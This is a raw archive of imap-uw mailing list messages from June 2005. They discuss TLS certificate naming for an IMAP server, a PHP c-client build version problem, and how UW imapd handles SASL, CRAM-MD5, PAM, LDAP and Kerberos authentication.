<42B1C0DF.6030301@email.arc.nasa.gov> Message-ID: References: <42B1BB0A.80403@email.arc.nasa.gov> <42B1C0DF.6030301@email.arc.nasa.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 16 Jun 2005, Matt Linton wrote: > One imap daemon can only have one signed certificate (to my knowlege). > However, due to creative routing and things, the requests to > are coming FROM as well as from > server1. Another way to solve the problem is to have a *.test.net certificate. Wildcard certificates are not deployed lightly, but at times they have their uses. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 01:43:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 01:43:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5H8hxfc021296 for ; Fri, 17 Jun 2005 01:43:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5H8hwkV032082 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 01:43:58 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5H8hhuf019052; Fri, 17 Jun 2005 01:43:43 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5H8hgS0019044 for ; Fri, 17 Jun 2005 01:43:42 -0700 Received: from idmailgate1.unizh.ch (idmailgate1.unizh.ch [130.60.68.105]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5H8heFM024428 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jun 2005 01:43:41 -0700 Received: from zimail1.unizh.ch (zimail1.unizh.ch [130.60.128.11]) by idmailgate1.unizh.ch (8.13.1/8.13.1/SuSE Linux 0.7) with ESMTP id j5H8hMrK012814; Fri, 17 Jun 2005 10:43:22 +0200 Received: from zisp0203.unizh.ch (zisp0203.unizh.ch [130.60.7.159]) by zimail1.unizh.ch (8.12.10/8.12.10/smMTA-17) with ESMTP id j5H8hJpS005521; Fri, 17 Jun 2005 10:43:19 +0200 (MEST) Received: from localhost (tedaldi@localhost) by zisp0203.unizh.ch (AIX5.1/8.11.6p2/8.11.0) with ESMTP id j5H8hIK28614; Fri, 17 Jun 2005 10:43:18 +0200 X-Authentication-Warning: zisp0203.unizh.ch: tedaldi owned process doing -bs Date: Fri, 17 Jun 2005 10:43:17 +0200 (MEST) From: Paul.Tedaldi@id.unizh.ch X-X-Sender: tedaldi@zisp0203.unizh.ch To: Mark Crispin Subject: Re: [Imap-uw] Hard coded port questions In-Reply-To: Message-ID: References: <42B1BB0A.80403@email.arc.nasa.gov> <42B1C0DF.6030301@email.arc.nasa.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: paul.tedaldi@id.unizh.ch, imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Still another way to solve the problem is, do not use a second imap daemon. Generate your server certificate with CN= and alternative names of DNS:,DNS:server1.test.net,DNS:server2.test.net and all alias names that may be used by clients to connect to the server. openssl x509 allows you to do that. We found it essential to repeat CN in the alternative names list. All modern mailtools accept a cerificate if CN or one of the alternative names matches. One notable exception is pine (or better the c-client library at the pine61 level). It only tests CN and complains if it does not match or you have used the novalidate-cert switch. Maybe Mark could extend the code to accept the alternative names. Kind regards Paul On Thu, 16 Jun 2005, Mark Crispin wrote: > On Thu, 16 Jun 2005, Matt Linton wrote: > > One imap daemon can only have one signed certificate (to my knowlege). > > However, due to creative routing and things, the requests to > > are coming FROM as well as from > > server1. > > Another way to solve the problem is to have a *.test.net certificate. > Wildcard certificates are not deployed lightly, but at times they have > their uses. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > ======================================================================== Paul Tedaldi | Informatikdienste | Email: Paul.Tedaldi@id.unizh.ch Universitaet Zuerich | Winterthurerstr. 190 | Tel: +41 (0)44 635 4523 CH-8057 Zuerich | Fax: +41 (0)44 635 4505 Switzerland | ======================================================================== _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 02:36:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 02:36:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5H9aqN5023803 for ; Fri, 17 Jun 2005 02:36:52 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5H9ap9W001968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 02:36:52 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5H9aXem021328; Fri, 17 Jun 2005 02:36:33 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5H9aVaE021320 for ; Fri, 17 Jun 2005 02:36:31 -0700 Received: from urze.uma.pt (urze.uma.pt [193.136.232.30]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with SMTP id j5H9aRns009542 for ; Fri, 17 Jun 2005 02:36:31 -0700 Message-Id: <200506170936.j5H9aRns009542@mxe3.u.washington.edu> Received: from bugio.uma.pt ([193.136.232.4]) by urze.uma.pt (SMSSMTP 4.1.0.19) with SMTP id M2005061710362610512 for ; Fri, 17 Jun 2005 10:36:26 +0100 From: =?iso-8859-1?Q?Gon=E7alo_Teixeira?= To: Received: from GSOL1 by bugio.uma.pt via smtpd (for smtp.uma.pt [193.136.232.30]) with SMTP; 17 Jun 2005 09:34:05 UT Date: Fri, 17 Jun 2005 10:38:28 +0100 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Thread-Index: AcVzIFDDc+jDl8v0QYa6WjldMxSRwQ== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' Subject: [Imap-uw] PHP c-client version X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1286993674==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============1286993674== Content-Type: multipart/alternative; boundary="----=_NextPart_000_0032_01C57328.B546F6A0" This is a multi-part message in MIME format. ------=_NextPart_000_0032_01C57328.B546F6A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable When I build PHP with imap support, in phpinfo() the version of c-Client downgrade to 2000. I can=92t figure what is happening. Imp web mail get even slower. =20 -imap-2004e.DEV.SNAP-0506052036.tar.Z - Suse Linux 9.2 - Version 4.3.10 =20 =20 Steps for compiling IMAP =20 With out SSL support: --------------------- tar -zxf imap-xxxxx.tar.Z cd imap-xxxxx make slx SSLTYPE=3Dnone ln -sf c-client include ln -sf c-client lib cd .. =20 ./configure --with-imap=3D../imap-xxxxx =20 ------=_NextPart_000_0032_01C57328.B546F6A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

    When I build PHP with imap support, in = phpinfo() the version of c-Client downgrade to 2000. I can’t figure what is = happening.

    Imp web mail get even = slower.

     

    -imap-2004e.DEV.SNAP-0506052036.tar.Z

    - Suse Linux 9.2

    - Version 4.3.10

     

     

    Steps for compiling = IMAP

     

    With out SSL = support:

    ---------------------<= /p>

    tar -zxf = imap-xxxxx.tar.Z

    cd imap-xxxxx

    make slx = SSLTYPE=3Dnone

    ln -sf c-client = include

    ln -sf c-client = lib

    cd ..

     

    ./configure = --with-imap=3D../imap-xxxxx

     

    ------=_NextPart_000_0032_01C57328.B546F6A0-- --===============1286993674== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1286993674==-- From pinedev@shivax2.cac.washington.edu Fri Jun 17 04:14:27 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 04:14:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HBER3b028583 for ; Fri, 17 Jun 2005 04:14:27 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HBEQc3006770 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 04:14:26 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HBEAXR025712; Fri, 17 Jun 2005 04:14:10 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HBE91Y025704 for ; Fri, 17 Jun 2005 04:14:09 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with SMTP id j5HBE73w021606 for ; Fri, 17 Jun 2005 04:14:08 -0700 Received: (qmail invoked by alias); 17 Jun 2005 11:14:06 -0000 Received: from p54A946A6.dip.t-dialin.net (EHLO involved.intranet) [84.169.70.166] by mail.gmx.net (mp013) with SMTP; 17 Jun 2005 13:14:06 +0200 X-Authenticated: #537890 From: Sven Carstens To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] PHP c-client version Date: Fri, 17 Jun 2005 13:14:06 +0200 User-Agent: KMail/1.7.2 References: <200506170936.j5H9aRns009542@mxe3.u.washington.edu> In-Reply-To: <200506170936.j5H9aRns009542@mxe3.u.washington.edu> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200506171314.06855.s.carstens@gmx.de> X-Y-GMX-Trusted: 0 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Am Freitag, 17. Juni 2005 11:38 schrieb Gon=E7alo Teixeira: > When I build PHP with imap support, in phpinfo() the version of c-Client > downgrade to 2000. I can=92t figure what is happening. On my SuSE-9.2 it reports: IMAP c-Client Version =3D> 2000 Did you get the greater or equal? > - Suse Linux 9.2 Prepackaged versions: php4-imap-4.3.8-8.2 imap-lib-2004a-3.1 php4-4.3.8-8.2 CU Sven _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 06:36:04 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 06:36:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HDa4YZ002386 for ; Fri, 17 Jun 2005 06:36:04 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HDa3f2014047 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 06:36:03 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HDZrls027571; Fri, 17 Jun 2005 06:35:53 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HDZpGa027555 for ; Fri, 17 Jun 2005 06:35:51 -0700 Received: from mail.n200.com (mail.n200.com [80.127.141.19]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HDZosO003501 for ; Fri, 17 Jun 2005 06:35:50 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 3D60336723 for ; Fri, 17 Jun 2005 15:35:48 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11589-02 for ; Fri, 17 Jun 2005 15:35:45 +0200 (CEST) Received: from [192.168.9.75] (haydn.n200.n200 [192.168.9.75]) by mail.n200.com (Postfix) with ESMTP id 203113670C for ; Fri, 17 Jun 2005 15:35:45 +0200 (CEST) Message-ID: <42B2D1B3.4080902@n200.com> Date: Fri, 17 Jun 2005 15:35:47 +0200 From: Mark Brand Organization: N200 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 X-Accept-Language: en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at n200.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] sasl authentication X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu If I understand correctly, the only way to use SASL authenication when connecting to the uw-imap server is use a built in facility that reads usernames and passwords from the plain text file /etc/cram-md5.pwd. Presumably the administrator has to maintain this file by hand to keep it synchronized with whatever the primary user authentication system is on the machine. I saw Jim Rigg's 2005-07-23 post on the c-client list about introducing support for SASL authenication via the Cyrus SASL which authenticates using mechanisms like PAM or LDAP (I think), and this made me curious. Is there existing or planned support for Cyrus SASL or something similiar? Are there other techniques for using SASL to protect the imap login in such a way that password management is well-intergrated with the standard mechanisms? Mark -- Mark Brand Technology Director N200 ------------------- m.brand@n200.com tel +31 20 448 9700 fax +31 20 448 9701 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 08:11:30 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 08:11:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HFBTki007386 for ; Fri, 17 Jun 2005 08:11:29 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFBS0R019304 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 08:11:29 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFBGCQ008301; Fri, 17 Jun 2005 08:11:16 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFBFQf008293 for ; Fri, 17 Jun 2005 08:11:15 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFBEKM005109 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jun 2005 08:11:15 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFBEnJ010873 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jun 2005 08:11:14 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFAqen027256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 17 Jun 2005 08:11:13 -0700 Date: Fri, 17 Jun 2005 08:10:52 -0700 (PDT) From: Mark Crispin To: Mark Brand Subject: Re: [Imap-uw] sasl authentication In-Reply-To: <42B2D1B3.4080902@n200.com> Message-ID: References: <42B2D1B3.4080902@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 17 Jun 2005, Mark Brand wrote: > If I understand correctly, the only way to use SASL authenication when > connecting to the uw-imap server is use a built in facility that reads > usernames and passwords from the plain text file /etc/cram-md5.pwd. > I saw Jim Rigg's 2005-07-23 post on the c-client list about introducing > support for SASL authenication via the Cyrus SASL which authenticates > using mechanisms like PAM or LDAP (I think), and this made me curious. > Is there existing or planned support for Cyrus SASL or something > similiar? Are there other techniques for using SASL to protect the imap > login in such a way that password management is well-intergrated with > the standard mechanisms? You understand incorrectly. Unfortunately, it's a long explanation. Get some coffee, and sit back. First, some definitions: (1) SASL is an Internet challenge/response protocol that can use various mechanisms to authenticate and negotiate a security layer. The challenges and responses are *not* protected in any way; only the mechanism called by SASL can do that. (2) CRAM-MD5 is one of many SASL authentication mechanisms. It uses a one-way HMAC-MD5 hash. The server issues a one-time text that the client must hash along with the password; the client then reports the result of that hash. The server compares it with its own calculation of that hash. This mechanism has some flaws, but for the most part it does protect the authentication from snoops. (3) PAM is an API on some UNIX and Linux systems to validate authentication credentials the application having to know what the underlying authentication mechanism is. What's particularly useful about PAM is that the site can configure how authentication works per application without having to change the application. PAM is largely used with userid/password type authentication. (4) LDAP is a protocol to distribute directory data to multiple system. Bizzarely, it is also used to distribute passwords. Some people seem to think that this is a good thing. Now, as for what UW imapd can do: UW imapd supports for multiple SASL mechanisms: CRAM-MD5, GSSAPI, PLAIN, LOGIN, ANONYMOUS, and (as of imap-2005) EXTERNAL. Of these, CRAM-MD5 and GSSAPI implement a means of authentication that can be spied upon without giving the spy useful information. For what it's worth, the Cyrus servers at Carnegie-Mellon University (authors of Cyrus) support these SASL mechanisms: KERBEROS_V4, GSSAPI, ANONYMOUS, PLAIN. KERBEROS_V4 is an older version of Kerberos; GSSAPI is the Kerberos v5 is the modern version. The /etc/cram-md5.pwd file is the database for CRAM-MD5 authentication in UW imapd. UW imapd can't use the password file, PAM, or an LDAP database because the server needs to know the plaintext of the password in order to calculate the HMAC-MD5 hash. This is one of the flaws of CRAM-MD5, and is why that SASL mechanism has never been particularly popular. UW imapd can be built to use PAM to validate passwords. In fact, PAM is the default on many Linux builds. Using PAM, UW imapd can also validate with LDAP; this is not a feature of UW imapd but rather of PAM. It needs to be emphasized that the use of PAM and/or LDAP to validate username/password doesn't make the authentication secure; it's still the insecure username/password. PAM and LDAP are simply conveniences for the server's internal use (and the server system manager). UW imapd can also be built to validate passwords from the password file (/etc/passwd or shadow password), from a OS-specific mechanism (e.g. SecureWare), or via Kerberos. On many systems, the default is to use the password file. Although Kerberos was mentioned in the previous password, that is *not* "Kerberos authentication". Rather, that is password authentication in the Kerberos database (just like PAM or LDAP password authentication). That can be done directly by UW imapd, or through PAM. Kerberos authentication, on the other hand, is the GSSAPI SASL mechanism. The GSSAPI SASL mechanism *is* supported by UW imapd. Now, let's consider your last two questions: > Is there existing or planned support for Cyrus SASL or something > similiar? The answer is "yes, there is existing support for something similar." UW imapd has a full implementation of SASL. It is not Cyrus SASL, but there is little (if anything) to be gained by ripping out UW imapd's native SASL support to install Cyrus SASL. > Are there other techniques for using SASL to protect the imap > login in such a way that password management is well-intergrated with > the standard mechanisms? The answer is the same with both UW imapd's native SASL and Cyrus SASL: The technique is Kerberos. Kerberos, using the GSSAPI SASL mechanism (*not* passwords!) is the preferred protected means of authentication for everybody. If you must use passwords, then you need to protect the session using SSL/TLS encryption. This is not a feature of Cyrus SASL; this is a feature of the server. Both UW imapd and Cyrus imapd (as do all other modern IMAP servers) have full implementations of SSL/TLS. If you want to access passwords via PAM (many modern sites do!), then this is not a feature of SASL. It is simply a feature of whatever mechanism authenticates the password. UW imapd fully supports PAM, and I imagine that Cyrus SASL's password authenticator does too. If you want to access passwords via LDAP, you can do that using PAM. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 08:21:10 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 08:21:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HFLAPQ008001 for ; Fri, 17 Jun 2005 08:21:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFL9V0027251 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 08:21:09 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFKxEo009456; Fri, 17 Jun 2005 08:20:59 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFKwug009448 for ; Fri, 17 Jun 2005 08:20:58 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFKvJt005986 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jun 2005 08:20:57 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFKvSV016424 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jun 2005 08:20:57 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HFKtFt019485 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 17 Jun 2005 08:20:56 -0700 Date: Fri, 17 Jun 2005 08:20:55 -0700 (PDT) From: Mark Crispin To: Mark Brand Subject: Re: [Imap-uw] sasl authentication In-Reply-To: Message-ID: References: <42B2D1B3.4080902@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I guess that your next question will be: "then how do I do this using UW imapd's existing facilities?" What you need to do is specify what "this" means: . use the same database for passwords for all systems? . negotiate passwords securely? . negotiate authentication without letting snoops steal passwords? . etc. There is a way to do "this" in UW imapd, but you need to know what "this" is because doing some "this" prevents you from doing other "this". It's like "The Hitchhiker's Guide to the Galaxy", where it is revealed that the answer to the ultimate question of life, the universe, and everything is 42. The problem is, nobody knew the question... -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 09:41:39 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 09:41:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HGfdrg018715 for ; Fri, 17 Jun 2005 09:41:39 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HGfcRf003308 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 09:41:38 -0700 Received: from mailman1.u.washington.edu (localhost 